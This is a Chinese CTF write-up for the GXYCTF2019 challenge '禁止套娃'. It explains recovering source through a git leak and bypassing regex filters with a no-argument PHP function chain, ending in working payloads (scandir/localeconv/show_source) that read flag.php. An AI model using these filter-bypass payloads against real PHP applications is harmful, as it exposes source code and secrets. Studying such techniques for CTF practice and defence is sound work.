[GXYCTF2019] 禁止套娃

发布于 2021-08-06  60 次阅读


知识点

//数组操作函数:
end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 函数返回指定目录中的文件和目录的数组。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos(): current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

解题

image-20210202153728769

打开题目,页面十分简单,没有任何的功能点,查看网页源代码和数据包,也没有发现任何可疑的地方。

尝试扫描目录,发现git源码泄露

利用GitHacker得到index.php的源代码

image-20210202154318215

源码中出现三次if,依次分析:

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

过滤了很多PHP伪协议,不能使用伪协议直接读取了

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

[a-z,_]**这就是匹配任意字母到_**然后+(?R)? ,后面这个?R是引用当前表达式,形成递归调用,然后继续来匹配。

举例说明

image-20210202160345198
image-20210202160422504

如图示,可以使用函数嵌套函数,但是使用的函数不能存在参数,这样的就是典型的无参数RCE

代码里面明显包含flag.php,根据无参数RCE的特点就是构造无参数函数读取flag.php

第三个if

f (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) 

过滤了很多关键字,导致很多函数不能使用

payload

?exp=print_r(scandir(pos(localeconv())));

localeconv第一个字符是. pos获取这个.,然后利用scandir读取当前目录

image-20210202162121374
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

倒序数组,数组内置指针下移一位,高亮显示文件。

image-20210202162216213